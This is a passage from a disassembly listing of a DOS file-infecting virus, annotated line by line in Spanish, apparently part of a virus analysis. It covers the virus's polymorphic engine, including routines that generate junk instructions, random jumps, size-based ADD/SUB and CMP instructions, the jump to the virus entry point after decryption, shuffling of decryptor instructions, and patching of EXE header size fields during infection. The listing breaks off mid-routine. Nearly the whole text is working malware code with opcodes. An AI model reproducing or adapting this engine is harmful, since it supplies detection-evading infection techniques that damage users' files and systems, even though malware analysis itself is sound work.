BL = 2 ∩0DA6:0A76 E821FE CALL 089A Ω; Obtiene de 0 a 6 bytes de ba- Ω; sura en instrucciones "comple- Ω; jas", tales como INTs, etc. Ω; En BL ha indicado la longitud Ω; de las instrucciones que va Ω; a insertar ∩0DA6:0A79 E8A301 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0A7C E8BBFE CALL 093A Ω; Salta a :0A87 con un 50% de ∩0DA6:0A7F 80FC80 CMP AH,80 Ω; probabilidad ∩0DA6:0A82 7203 JB 0A87 ∩0DA6:0A84 A4 MOVSB Ω; Inserta AL (que es un aleato- Ω; rio) ∩0DA6:0A85 EB09 JMP 0A90 Ω; Salta y continúa Ω; Aquí desde :0A82 ∩0DA6:0A87 800E8C0110 OR BYTE PTR [018C],10 Ω; Enciende el bit 4 en Ω; [018C], indicando que no Ω; va a poner un PUSH que Ω; guardaría en el stack al Ω; Entry Point del virus en Ω; el archivo ∩0DA6:0A8C 80E901 SUB CL,01 Ω; Resta 1 a CL ∩0DA6:0A8F 46 INC SI Ω; Incrementa SI (deja en SI-01 Ω; el byte que haya en ese momen- Ω; to ahí) Ω; Aquí desde :0A85 ∩0DA6:0A90 E88C01 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0A93 E83C01 CALL 0BD2 Ω; Rutina para insertar una ins- Ω; trucción: Ω; ADD/SUB Reg, +/-TamañoVirus ∩0DA6:0A96 8AE9 MOV CH,CL Ω; En CH pone CL ∩0DA6:0A98 B302 MOV BL,02 Ω; BL = 2 ∩0DA6:0A9A E8FDFD CALL 089A Ω; Instrucción basura de dos by- Ω; (hace de 0 a 3 instrucciones) ∩0DA6:0A9D E87F01 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0AA0 A5 MOVSW Ω; Inserta 3 bytes aleatorios ∩0DA6:0AA1 A4 MOVSB Ω; obtenidos en la función ante- Ω; rior) ∩0DA6:0AA2 E87A01 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0AA5 E88D02 CALL 0D35 Ω; Inserta un byte que no acabo Ω; de comprender para qué es ∩0DA6:0AA8 B302 MOV BL,02 Ω; Instrucción basura de 2 bytes ∩0DA6:0AAA E8EDFD CALL 089A Ω; (una cantidad de 0 a 3 inst.) ∩0DA6:0AAD E8C400 CALL 0B74 Ω; Inserta una instrucción Ω; CMP BX/SI/DI, 0001/FFFFh ∩0DA6:0AB0 B302 MOV BL,02 Ω; Inserta de 0 a 3 instrucciones ∩0DA6:0AB2 E8E5FD CALL 089A Ω; basura de 2 bytes ∩0DA6:0AB5 E86701 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0AB8 E86100 CALL 0B1C Ω; Inserta una instrucción para Ω; sumar 1 al registro que use Ω; en el desencriptador para con- Ω; trol de cuánto lleva desen- Ω; criptado ∩0DA6:0ABB B302 MOV BL,02 Ω; Inserta de 0 a 3 instrucciones ∩0DA6:0ABD E8DAFD CALL 089A Ω; basura de 2 bytes (el tamaño Ω; en BL) ∩0DA6:0AC0 E85C01 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0AC3 8AC1 MOV AL,CL Ω; En AL el tamaño de toda la ba- Ω; sura que ha ido haciendo ∩0DA6:0AC5 2AC5 SUB AL,CH Ω; Resta a AL la basura anterior Ω; que había hecho hasta :0A96 ∩0DA6:0AC7 8AE8 MOV CH,AL Ω; Lo mete en CH ∩0DA6:0AC9 AD LODSW Ω; Carga la instrucción de salto Ω; condicional que había formado Ω; en el desencriptador ∩0DA6:0ACA 2AE5 SUB AH,CH Ω; Resta al byte de desplazamien- Ω; to la cantidad de basura para Ω; para que al saltar, se salte Ω; al punto correcto (no olvide- Ω; mos que este byte es negativo Ω; y salta hacia atrás) ∩0DA6:0ACC AB STOSW Ω; Almacena la instrucción varia- Ω; da ∩0DA6:0ACD B302 MOV BL,02 Ω; Inserta de 0 a 3 instrucciones ∩0DA6:0ACF E8C8FD CALL 089A Ω; basura de 2 bytes cada una ∩0DA6:0AD2 E84A01 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0AD5 E89001 CALL 0C68 Ω; Rutina para insertar instruc- Ω; ciones para saltar al inicio Ω; del virus una vez se ha desen- Ω; criptado ∩0DA6:0AD8 E85FFE CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:0ADB 2407 AND AL,07 Ω; AL = Número entre 0 y 7 ∩0DA6:0ADD 02C8 ADD CL,AL Ω; Suma este número a CL ∩0DA6:0ADF B500 MOV CH,00 Ω; CH = 0 ∩0DA6:0AE1 382E7901 CMP [0179],CH Ω; Comprueba si el tipo de archi- Ω; vo es COM o EXE ∩0DA6:0AE5 741C JZ 0B03 Ω; Si es COM, salta a :0B03 y Ω; acaba ∩0DA6:0AE7 010E6C1E ADD [1E6C],CX Ω; Suma el valor en CX a [1E6C] Ω; (el resto, en la posición +02h Ω; de la cabecera, de dividir Ω; el tamaño del archivo entre Ω; 512) ∩0DA6:0AEB 813E6C1E0002 CMP WORD PTR [1E6C],0200 Ω; Comprueba si excede de Ω; 512 ∩0DA6:0AF1 7210 JB 0B03 Ω; Si es menor, salta y acaba ∩0DA6:0AF3 FF066E1E INC WORD PTR [1E6E] Ω; Incrementa el cociente de la Ω; cabecera del EXE ∩0DA6:0AF7 812E6C1E0002 SUB WORD PTR [1E6C],0200 Ω; Resta 512 al resto, ya Ω; que ha habido rebosamiento ∩0DA6:0AFD 7504 JNZ 0B03 Ω; Si el resultado no es 0, salta ∩0DA6:0AFF FF0E6E1E DEC WORD PTR [1E6E] Ω; Decrementa el cociente ∩0DA6:0B03 5D POP BP Ω; Saca BP y BX del stack ∩0DA6:0B04 5B POP BX ∩0DA6:0B05 C3 RET Ω; Retorna ε;;;;; Copia un número de bytes (según el byte en [0F5B]) desde el desencripta- ε;;;;; dor original al desencriptador que está variando. ∩0DA6:0B06 51 PUSH CX Ω; Guarda CX ∩0DA6:0B07 33C9 XOR CX,CX Ω; CX = 0 ∩0DA6:0B09 A05B0F MOV AL,[0F5B] Ω; Pone en AL el número en Ω; [0F5B], que ha ido metiendo Ω; en la rutina en :0CA4 ∩0DA6:0B0C 8AC8 MOV CL,AL Ω; En CL ∩0DA6:0B0E D0E8 SHR AL,1 Ω; Desplaza los bits en AL hacia ∩0DA6:0B10 D0E8 SHR AL,1 Ω; la derecha. Cuando repita es- Ω; to varias veces, AL se queda- Ω; rá a 0 ∩0DA6:0B12 A25B0F MOV [0F5B],AL Ω; Mete el número resultante en Ω; AL ∩0DA6:0B15 80E103 AND CL,03 Ω; Deja CL en un número entre Ω; 0 y 3 (CL era el número que Ω; había en [0F5B]) ∩0DA6:0B18 F3 REPZ Ω; Copia ese número de bytes al ∩0DA6:0B19 A4 MOVSB Ω; desencriptador (SI era 1E86 Ω; a partir de :0A49, y ahí es Ω; donde está el desencriptador Ω; original) ∩0DA6:0B1A 59 POP CX Ω; Saca CX ∩0DA6:0B1B C3 RET Ω; Retorna ε;;;;;;;; Rutina para insertar un SUB Reg,FFFFh, ADD Reg,0001, SUB Reg,-01 o ε;;;;;;;; ADD Reg,+01 (estos dos últimos de 16 bits, claro) ∩0DA6:0B1C E81BFE CALL 093A Ω; Obtiene un aleatorio en AX ∩0DA6:0B1F 803E600F04 CMP BYTE PTR [0F60],04 Ω; Mira si el byte en [0F60] Ω; es 04 ∩0DA6:0B24 7306 JNB 0B2C Ω; Si es mayor o igual, salta ∩0DA6:0B26 32C4 XOR AL,AH Ω; XORea AL con AH ∩0DA6:0B28 7A02 JPE 0B2C Ω; Si la paridad es par salta Ω; (será para hacer el salto lo Ω; más aleatorio posible) ∩0DA6:0B2A A4 MOVSB Ω; Copia un aleatorio de la ca- Ω; dena de aleatorios del virus, Ω; que se sitúa en :1E86 ∩0DA6:0B2B C3 RET Ω; Retorna Ω; Aquí desde :0B24 o :0B28 ∩0DA6:0B2C 8A1E5F0F MOV BL,[0F5F] Ω; En BL en byte en [0F5F] (el Ω; registro de 16 bits que ha Ω; usado en el desencriptador) ∩0DA6:0B30 B700 MOV BH,00 Ω; BH = 0 ∩0DA6:0B32 803E600F06 CMP BYTE PTR [0F60],06 Ω; Mira si el registro es BP ∩0DA6:0B37 7313 JNB 0B4C Ω; Si es mayor (??) o igual, Ω; salta ∩0DA6:0B39 803E600F04 CMP BYTE PTR [0F60],04 Ω; Comprueba si se utiliza Ω; DI ∩0DA6:0B3E 7304 JNB 0B44 Ω; Si es mayor o igual, salta ∩0DA6:0B40 A801 TEST AL,01 Ω; Salta a :0B4C con una proba- ∩0DA6:0B42 7508 JNZ 0B4C Ω; bilidad de un 50% Ω; Aquí desde :0B3E ∩0DA6:0B44 B201 MOV DL,01 Ω; DL = 1 ∩0DA6:0B46 8AB7980F MOV DH,[BX+0F98] Ω; DH = opcode (junto con el Ω; valor 81h o 83h) de SUB Reg, Ω; ****/+-** ∩0DA6:0B4A EB06 JMP 0B52 Ω; Salta a :0B52 y continua Ω; Aquí desde :0B42 ∩0DA6:0B4C B2FF MOV DL,FF Ω; DL = 0FFh ∩0DA6:0B4E 8AB79F0F MOV DH,[BX+0F9F] Ω; DH = opcode (junto con el Ω; valor 81h) de ADD Reg,**** ∩0DA6:0B52 A802 TEST AL,02 Ω; Mira si el bit 1 en AL es 1 ∩0DA6:0B54 750F JNZ 0B65 Ω; Si es, salta ∩0DA6:0B56 B081 MOV AL,81 Ω; Almacena el valor 81h ∩0DA6:0B58 AA STOSB ∩0DA6:0B59 8AC6 MOV AL,DH Ω; Después forma la instrucción ∩0DA6:0B5B AA STOSB Ω; correcta ∩0DA6:0B5C 8AC2 MOV AL,DL Ω; AL = 01 o FFh ∩0DA6:0B5E 98 CBW Ω; AX = 0001 o FFFFh ∩0DA6:0B5F AB STOSW Ω; Almacena este valor ∩0DA6:0B60 46 INC SI Ω; Incrementa SI ∩0DA6:0B61 80C103 ADD CL,03 Ω; Suma 3 a CL ∩0DA6:0B64 C3 RET Ω; Retorna Ω; Aquí desde :0B54 ∩0DA6:0B65 B083 MOV AL,83 Ω; Inserta el valor 83h ∩0DA6:0B67 AA STOSB ∩0DA6:0B68 8AC6 MOV AL,DH Ω; Inserta el segundo byte del ∩0DA6:0B6A AA STOSB Ω; opcode ∩0DA6:0B6B 8AC2 MOV AL,DL Ω; AL = 01 o FFh ∩0DA6:0B6D AA STOSB Ω; Lo inserta ∩0DA6:0B6E 46 INC SI Ω; Incrementa SI ∩0DA6:0B6F 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0B72 C3 RET Ω; Retorna ∩0DA6:0B73 C3 RET Ω; No lo utiliza para nada (??) ε;;; Rutina para insertar la instrucción CMP BX/SI/DI, 0001/FFFFh ∩0DA6:0B74 E8C3FD CALL 093A Ω; Obtiene un word de la cadena Ω; "general" de aleatorios ∩0DA6:0B77 32C4 XOR AL,AH Ω; XORea AH con AL para hacerlo Ω; más aleatorio aún ∩0DA6:0B79 7902 JNS 0B7D Ω; Si no tiene signo el resul- Ω; tado, salta ∩0DA6:0B7B A4 MOVSB Ω; Copia un byte del desencripta- Ω; dor ∩0DA6:0B7C C3 RET Ω; Retorna Ω; Desde :0B79 ∩0DA6:0B7D 8A1E5D0F MOV BL,[0F5D] Ω; Obtiene el valor guardado en Ω; [0F5D] ∩0DA6:0B81 B700 MOV BH,00 Ω; BH a 0 ∩0DA6:0B83 803E5C0F80 CMP BYTE PTR [0F5C],80 Ω; Mira si el byte en [0F5C] Ω; es 80 (si viene de :1559, Ω; este valor será FFh) ∩0DA6:0B88 90 NOP Ω; NOP (para qué??) ∩0DA6:0B89 7714 JA 0B9F Ω; Si es mayor, salta ∩0DA6:0B8B A801 TEST AL,01 Ω; Mira si AL es par o impar ∩0DA6:0B8D 7508 JNZ 0B97 Ω; Si es par, salta ∩0DA6:0B8F B201 MOV DL,01 Ω; DL = 1 ∩0DA6:0B91 8AB7980F MOV DH,[BX+0F98] Ω; En DH un valor según BX ∩0DA6:0B95 EB1A JMP 0BB1 Ω; Salta a 0BB1 ∩0DA6:0B97 B2FF MOV DL,FF Ω; DL = FF ∩0DA6:0B99 8AB79F0F MOV DH,[BX+0F9F] Ω; En DH un valor según BX ∩0DA6:0B9D EB12 JMP 0BB1 Ω; Salta a :0BB1 ∩0DA6:0B9F A801 TEST AL,01 Ω; ¿Es par? ∩0DA6:0BA1 7508 JNZ 0BAB Ω; Si no es, salta ∩0DA6:0BA3 B201 MOV DL,01 Ω; DL = 01 ∩0DA6:0BA5 8AB79F0F MOV DH,[BX+0F9F] Ω; En DH un valor según BX ∩0DA6:0BA9 EB06 JMP 0BB1 Ω; Salta ∩0DA6:0BAB B2FF MOV DL,FF Ω; DL = FF ∩0DA6:0BAD 8AB7980F MOV DH,[BX+0F98] Ω; En DH un valor según BX ∩0DA6:0BB1 A802 TEST AL,02 Ω; Mira si el bit 1 de AL está Ω; a 1 ∩0DA6:0BB3 750F JNZ 0BC4 Ω; Si está, salta ∩0DA6:0BB5 B081 MOV AL,81 Ω; En AL el valor 81h ∩0DA6:0BB7 AA STOSB Ω; Lo almacena ∩0DA6:0BB8 8AC6 MOV AL,DH Ω; Aquí el byte en [BX+0F98] Ω; o [BX+0F9F] ∩0DA6:0BBA AA STOSB Ω; Lo almacena ∩0DA6:0BBB 8AC2 MOV AL,DL Ω; En AL el valor 01 o FFh ∩0DA6:0BBD 98 CBW Ω; Convert Byte to Word. Si AL Ω; es 01, AX será 0001. Si por Ω; el contrario AL es FFh, en- Ω; tonces AX será FFFFh ∩0DA6:0BBE AB STOSW Ω; Lo almacena Ω; En todo este trayecto ha al- Ω; macenado un CMP BX/SI/DI, Ω; 0001/FFFF (me parece) ∩0DA6:0BBF 46 INC SI Ω; Incrementa SI ∩0DA6:0BC0 80C103 ADD CL,03 Ω; Suma 3 a CL ∩0DA6:0BC3 C3 RET Ω; Retorna Ω; Aquí desde :0BB3 ∩0DA6:0BC4 B083 MOV AL,83 Ω; AL = 83h ∩0DA6:0BC6 AA STOSB Ω; Lo mete ∩0DA6:0BC7 8AC6 MOV AL,DH Ω; En AL la segunda parte del Ω; opcode ∩0DA6:0BC9 AA STOSB Ω; Lo inserta ∩0DA6:0BCA 8AC2 MOV AL,DL Ω; AL = 01h o FFh ∩0DA6:0BCC AA STOSB Ω; Lo inserta ∩0DA6:0BCD 46 INC SI Ω; Incrementa SI ∩0DA6:0BCE 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0BD1 C3 RET Ω; Retorna ε;;;; Rutina para insertar, según el registro indicado en [0F5D], una instruc- ε;;;; ción "ADD AX/BX/CX/DX/DI/SI/BP, TamañoVirus" ó "SUB AX/BX/CX/DX/DI/SI/BP, ε;;;; -TamañoVirus" ∩0DA6:0BD2 803E5C0F80 CMP BYTE PTR [0F5C],80 Ω; Mira si el byte en [0F5C] Ω; es 80h ∩0DA6:0BD7 90 NOP Ω; NOP (?? - Lo único que hace Ω; es aumentar el tamaño) ∩0DA6:0BD8 7744 JA 0C1E Ω; Si es mayor, salta y retorna ∩0DA6:0BDA 52 PUSH DX Ω; Guarda DX ∩0DA6:0BDB BA6A1E MOV DX,1E6A Ω; En DX el tamaño del virus ∩0DA6:0BDE A05C0F MOV AL,[0F5C] Ω; Coge en AL el byte en [0F5C] ∩0DA6:0BE1 2407 AND AL,07 Ω; Anula los 5 bits superiores ∩0DA6:0BE3 98 CBW Ω; AH = 0 ∩0DA6:0BE4 40 INC AX Ω; Incrementa AX. Ahora AX es un Ω; número entre 1 y 8 ∩0DA6:0BE5 03D0 ADD DX,AX Ω; Se lo suma al tamaño del vi- Ω; rus ∩0DA6:0BE7 8A1E600F MOV BL,[0F60] Ω; Coge en BL el byte en [0F60] ∩0DA6:0BEB 80FB06 CMP BL,06 Ω; Comprueba si es 6 ∩0DA6:0BEE 7406 JZ 0BF6 Ω; Si es, salta y evita las si- Ω; guientes 3 instrucciones ∩0DA6:0BF0 F6C301 TEST BL,01 Ω; Comprueba si es par ∩0DA6:0BF3 7501 JNZ 0BF6 Ω; Si no es par, evita lo si- Ω; guiente ∩0DA6:0BF5 4A DEC DX Ω; Decrementa DX ∩0DA6:0BF6 8AE0 MOV AH,AL Ω; AH = AL ∩0DA6:0BF8 33DB XOR BX,BX Ω; BX = 0 ∩0DA6:0BFA 8A1E5D0F MOV BL,[0F5D] Ω; BL = byte en [0F5D], que es Ω; donde guardó anterior infor- Ω; mación sobre el opcode de Ω; cierta instrucción que hizo. Ω; Según el número, indica el Ω; registro que ha usado en la Ω; instrucción que insertó cuan- Ω; do dio valor a esta variable. Ω; El 0 indica AX, el 1 BX, etc. Ω; Es un número entre 0 y 6 ∩0DA6:0BFE B081 MOV AL,81 Ω; AL = 81h ∩0DA6:0C00 AA STOSB Ω; Lo almacena ∩0DA6:0C01 F6C401 TEST AH,01 Ω; Comprueba si AH es par ∩0DA6:0C04 740C JZ 0C12 Ω; Si es, salta a :0C12 ∩0DA6:0C06 8A87980F MOV AL,[BX+0F98] Ω; En AL coge un valor que jun- ∩0DA6:0C0A AA STOSB Ω; to con 81h forma la instruc- Ω; ción SUB AX/.../DI/SI/BP,**** ∩0DA6:0C0B 8BC2 MOV AX,DX Ω; Coge el valor de DX en AX ∩0DA6:0C0D F7D8 NEG AX Ω; Lo niega ∩0DA6:0C0F AB STOSW Ω; Lo mete para completar la Ω; instrucción ∩0DA6:0C10 EB08 JMP 0C1A Ω; Salta a :0C1A Ω; Aquí desde :0C04 ∩0DA6:0C12 8A879F0F MOV AL,[BX+0F9F] Ω; Coge el segundo byte del op- Ω; code para formar la instruc- Ω; ción ADD AX/.../DI/SI/BP,**** ∩0DA6:0C16 AA STOSB Ω; Lo almacena ∩0DA6:0C17 8BC2 MOV AX,DX Ω; Coge DX ∩0DA6:0C19 AB STOSW Ω; Lo almacena, también ∩0DA6:0C1A 80C104 ADD CL,04 Ω; Suma 4 a CL ∩0DA6:0C1D 5A POP DX Ω; Recupera DX ∩0DA6:0C1E C3 RET Ω; Retorna ε;;; Rutina para insertar una instrucción JMP SHORT o JMP LONG de una longitud ε;;; de salto variable (entre 1 y 4). Después inserta bytes basura de por medio ε;;; hasta que completa el salto ∩0DA6:0C1F E818FD CALL 093A Ω; Obtiene un aleatorio ∩0DA6:0C22 A820 TEST AL,20 Ω; Mira si el bit 5 en AL está Ω; a 1 ∩0DA6:0C24 7441 JZ 0C67 Ω; Si no está, salta y acaba ∩0DA6:0C26 A808 TEST AL,08 Ω; Comprueba si el bit 3 en AL Ω; está a 1 ∩0DA6:0C28 7410 JZ 0C3A Ω; Si está a 0, salta ∩0DA6:0C2A 80E403 AND AH,03 Ω; Anula todos los bits menos Ω; el 0 y 1 en AH. O sea, que Ω; saca un número aleatorio en Ω; AH entre 0 y 3 ∩0DA6:0C2D 80C401 ADD AH,01 Ω; Suma 1 a AH ∩0DA6:0C30 B0EB MOV AL,EB Ω; En AL el valor de opcode de Ω; JMP SHORT ∩0DA6:0C32 AB STOSW Ω; Forma un JMP SHORT que salta Ω; hacia delante un número alea- Ω; torio de bytes entre 1 y 4 ∩0DA6:0C33 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0C36 8AC4 MOV AL,AH Ω; En AL pone el número de bytes Ω; aleatorio que ha sacado para Ω; el salto ∩0DA6:0C38 EB10 JMP 0C4A Ω; Salta y continúa en :0C4A Ω; Aquí desde :0C28 ∩0DA6:0C3A 80E403 AND AH,03 Ω; AH es aleatorio, así que sa- Ω; ca en AH un número entre 0 Ω; y 3 ∩0DA6:0C3D 80C401 ADD AH,01 Ω; Suma 1 a AH ∩0DA6:0C40 B0E9 MOV AL,E9 Ω; En AL el opcode de JMP LONG ∩0DA6:0C42 AA STOSB Ω; Lo almacena ∩0DA6:0C43 8AC4 MOV AL,AH Ω; Pone en AL el número que ha Ω; sacado en AH ∩0DA6:0C45 98 CBW Ω; AH = 0 ∩0DA6:0C46 AB STOSW Ω; Almacena el número, de mane- Ω; ra que ha hecho un JMP LONG Ω; que salta sólamente de 1 a 4 Ω; bytes ∩0DA6:0C47 80C103 ADD CL,03 Ω; Suma 3 a CL ∩0DA6:0C4A 8AD8 MOV BL,AL Ω; Mete BL en AL ∩0DA6:0C4C E8EBFC CALL 093A Ω; Saca otro aleatorio en AX ∩0DA6:0C4F 8AE0 MOV AH,AL Ω; Pone AL en AH ∩0DA6:0C51 80FC2E CMP AH,2E Ω; Comprueba si AH es 2Eh (una Ω; posibilidad entre 256) ∩0DA6:0C54 74F6 JZ 0C4C Ω; Salta si es ese número ∩0DA6:0C56 80E4F8 AND AH,F8 Ω; Anula los 3 bits bajos ∩0DA6:0C59 80FCB0 CMP AH,B0 Ω; Comprueba si el resultado es Ω; B0h ∩0DA6:0C5C 74EE JZ 0C4C Ω; Si es ese número, salta y Ω; repite el proceso ∩0DA6:0C5E AA STOSB Ω; Almacena AL ∩0DA6:0C5F 80C101 ADD CL,01 Ω; Suma 1 a CL ∩0DA6:0C62 80EB01 SUB BL,01 Ω; Decrementa BL ∩0DA6:0C65 75E5 JNZ 0C4C Ω; Si no es 1, salta y hace LOOP Ω; hasta que lo haga BL veces ∩0DA6:0C67 C3 RET Ω; Retorna ε;;;; Rutina para insertar una instrucción que salte al inicio del virus una ε;;;; vez ha desencriptado el virus. Inserta un POP Reg/JMP Reg si en el stack ε;;;; se guarda el Entry Point del virus en el archivo. Si no es así, se inser- ε;;;; ta un JMP LONG al Entry Point. ∩0DA6:0C68 F6068C0110 TEST BYTE PTR [018C],10 Ω; Comprueba si el bit 4 en Ω; en [018C] está a 1, indicando Ω; que en el stack no residiría Ω; la dirección del Entry Point Ω; del virus ∩0DA6:0C6D 7520 JNZ 0C8F Ω; Si está a 1, continúa en Ω; :0C8F ∩0DA6:0C6F E8C8FC CALL 093A Ω; Saca en AX un aleatorio de Ω; la cadena del virus ∩0DA6:0C72 A804 TEST AL,04 Ω; Comprueba si el bit 3 está a Ω; 1 (salto del 50% de probabi- Ω; lidad) ∩0DA6:0C74 7502 JNZ 0C78 Ω; Si está, salta ∩0DA6:0C76 A4 MOVSB Ω; Copia un byte del desencrip- Ω; tador sin modificar ∩0DA6:0C77 C3 RET Ω; Retorna Ω; Aquí desde :0C74 ∩0DA6:0C78 80E407 AND AH,07 Ω; Convierte AH en un número en- Ω; tre 0 y 7 ∩0DA6:0C7B 80FC04 CMP AH,04 Ω; Mira si AH es 4, porque si Ω; AH es 4 las instrucciones que Ω; va a insertar ahora implican Ω; al registro SP, y eso no mola ∩0DA6:0C7E 74E8 JZ 0C68 Ω; Si es, salta a :0C68 y vuelve Ω; a hacer el proceso ∩0DA6:0C80 8AC4 MOV AL,AH Ω; Pone AH en AL ∩0DA6:0C82 0C58 OR AL,58 Ω; Lo convierte a un número en- Ω; tre 58h y 5Fh (instrucción Ω; POP AX/BX/CX/DX/../BP/SI/DI) ∩0DA6:0C84 AA STOSB Ω; Lo almacena ∩0DA6:0C85 B0FF MOV AL,FF Ω; AL = FFh ∩0DA6:0C87 80CCE0 OR AH,E0 Ω; AH = Un número entre E0h y Ω; E7h. Forma en AX: Ω; JMP AX/BX/CX/DX/../BP/SI/DI ∩0DA6:0C8A AB STOSW Ω; Lo almacena ∩0DA6:0C8B 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0C8E C3 RET Ω; Retorna Ω; Aquí desde :0C6D ∩0DA6:0C8F 80368C0110 XOR BYTE PTR [018C],10 Ω; Pone el bit 4 de [018C] a Ω; 0 ∩0DA6:0C94 B0E9 MOV AL,E9 Ω; En AL el opcode de JMP LONG ∩0DA6:0C96 AA STOSB Ω; Lo pone ∩0DA6:0C97 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0C9A 8AC1 MOV AL,CL Ω; Pone en AL el tamaño de la Ω; basura que hay hasta el mo- Ω; mento ∩0DA6:0C9C 98 CBW Ω; AH = 0 ∩0DA6:0C9D 057B1E ADD AX,1E7B Ω; Suma a AX el tamaño del virus Ω; mas 17 bytes ∩0DA6:0CA0 F7D8 NEG AX Ω; Niega AX ∩0DA6:0CA2 AB STOSW Ω; Lo almacena ∩0DA6:0CA3 C3 RET Ω; Retorna ε;;;;; Rutina para barajar las 3 primeras instrucciones del desencriptador que ε;;;;; ha hecho en :0E70 ∩0DA6:0CA4 53 PUSH BX Ω; Guarda BX en el stack ∩0DA6:0CA5 BE700E MOV SI,0E70 Ω; En SI la dirección del desen- Ω; criptador recién hecho ∩0DA6:0CA8 E88FFC CALL 093A Ω; Obtiene en AX un número alea- Ω; torio de la cadena de aleato- Ω; rios ∩0DA6:0CAB 7B12 JPO 0CBF Ω; Salta si hay paridad impar Ω; (toma ya!) ∩0DA6:0CAD BF750E MOV DI,0E75 Ω; En DI, la dirección :0E75 ∩0DA6:0CB0 8B05 MOV AX,[DI] Ω; Coge el word en [0E75] ∩0DA6:0CB2 FF7502 PUSH [DI+02] Ω; Guarda en el stack el word en Ω; [0E77] ∩0DA6:0CB5 56 PUSH SI Ω; Guarda SI ∩0DA6:0CB6 A5 MOVSW Ω; Copia 3 bytes a :0E75 ∩0DA6:0CB7 A4 MOVSB ∩0DA6:0CB8 5E POP SI Ω; Saca SI de nuevo ∩0DA6:0CB9 8904 MOV [SI],AX Ω; Pone en :0E70 el word que ha- Ω; bía en :0E75 ∩0DA6:0CBB 58 POP AX Ω; Saca en AX lo que había en Ω; [0E77] ∩0DA6:0CBC 884402 MOV [SI+02],AL Ω; Copia el byte de :0E77 en Ω; :0E72 ∩0DA6:0CBF BF861E MOV DI,1E86 Ω; En DI, :1E86 ∩0DA6:0CC2 E875FC CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:0CC5 3C55 CMP AL,55 Ω; Salta a :0CDE con una proba- ∩0DA6:0CC7 7215 JB 0CDE Ω; bilidad de 1/3 ∩0DA6:0CC9 3CAA CMP AL,AA Ω; Salta a :0CEE con otra proba- ∩0DA6:0CCB 7221 JB 0CEE Ω; bilidad de 1/3 Ω; Y hay una probabilidad de 1/3 Ω; de que llegue aquí ∩0DA6:0CCD 8B4403 MOV AX,[SI+03] Ω; Coge en AX la instrucción en Ω; :0E73 ∩0DA6:0CD0 AB STOSW Ω; La pone en :0E75 ∩0DA6:0CD1 A5 MOVSW Ω; Copia la instrucción anterior ∩0DA6:0CD2 A4 MOVSB ∩0DA6:0CD3 46 INC SI Ω; Suma 2 a SI ∩0DA6:0CD4 46 INC SI ∩0DA6:0CD5 A5 MOVSW Ω; Copia la instrucción siguiente ∩0DA6:0CD6 A4 MOVSB ∩0DA6:0CD7 C6065B0F3E MOV BYTE PTR [0F5B],3E Ω; Pone en [0F5B] el valor Ω; 3Eh ∩0DA6:0CDC EB19 JMP 0CF7 Ω; Salta Ω; Aquí desde :0CC7 ∩0DA6:0CDE A5 MOVSW Ω; Copia la primera instrucción ∩0DA6:0CDF A4 MOVSB ∩0DA6:0CE0 8B04 MOV AX,[SI] Ω; Coge la segunda ∩0DA6:0CE2 46 INC SI Ω; ¿¿Pero por qué no utiliza ∩0DA6:0CE3 46 INC SI Ω; LODSW?? ∩0DA6:0CE4 A5 MOVSW Ω; Copia la tercera ∩0DA6:0CE5 A4 MOVSB ∩0DA6:0CE6 AB STOSW Ω; Ahora la segunda ∩0DA6:0CE7 C6065B0F2F MOV BYTE PTR [0F5B],2F Ω; Pone en [0F5B] el valor Ω; 2Fh ∩0DA6:0CEC EB09 JMP 0CF7 Ω; Salta ∩0DA6:0CEE A5 MOVSW Ω; Copia las instrucciones tal ∩0DA6:0CEF A5 MOVSW Ω; y como están ∩0DA6:0CF0 A5 MOVSW ∩0DA6:0CF1 A5 MOVSW ∩0DA6:0CF2 C6065B0F3B MOV BYTE PTR [0F5B],3B Ω; En [0F5B], el valor 3Bh ∩0DA6:0CF7 B90900 MOV CX,0009 Ω; Copia 9 bytes para acabar de ∩0DA6:0CFA F3 REPZ Ω; copiar el desencriptador que ∩0DA6:0CFB A4 MOVSB Ω; ha hecho ∩0DA6:0CFC 5B POP BX Ω; Saca BX ∩0DA6:0CFD C3 RET Ω; Retorna ε;;;;; Rutina para hacer una instrucción basura CLI / PUSH XX / POPF-PUSH XX. ε;;;;; Suma a CL el número de bytes insertados. ∩0DA6:0CFE E839FC CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:0D01 3C80 CMP AL,80 Ω; Salta a :0D2E con una proba- ∩0DA6:0D03 7229 JB 0D2E Ω; bilidad del 50% y acaba ∩0DA6:0D05 F6C408 TEST AH,08 Ω; Mira si el bit 3 de AH está Ω; a 1 ∩0DA6:0D08 7507 JNZ 0D11 Ω; Si está, salta ∩0DA6:0D0A B0FA MOV AL,FA Ω; Opcode de CLI ∩0DA6:0D0C AA STOSB Ω; Lo mete ∩0DA6:0D0D 80C101 ADD CL,01 Ω; Suma 1 a CL ∩0DA6:0D10 C3 RET Ω; Retorna ∩0DA6:0D11 53 PUSH BX Ω; Guarda BX ∩0DA6:0D12 BB2F08 MOV BX,082F Ω; BX = 082Fh, que es una direc- Ω; cción donde guarda instruccio- Ω; nes para hacer basura en el Ω; desencriptador ∩0DA6:0D15 0414 ADD AL,14 Ω; Suma a AL el valor 14h ∩0DA6:0D17 73FC JNB 0D15 Ω; Si no hay rebosamiento, salta Ω; hasta que haya ∩0DA6:0D19 98 CBW Ω; AH = 0 ∩0DA6:0D1A 24FE AND AL,FE Ω; Anula el bit 0 de AL para ha- Ω; cerlo par ∩0DA6:0D1C 03D8 ADD BX,AX Ω; Suma AX a BX ∩0DA6:0D1E 8A27 MOV AH,[BX] Ω; Obtiene en AH una instrucción Ω; de las que tiene a partir de Ω; :082F, que es un PUSH XX ∩0DA6:0D20 5B POP BX Ω; Saca BX ∩0DA6:0D21 B09D MOV AL,9D Ω; AL = 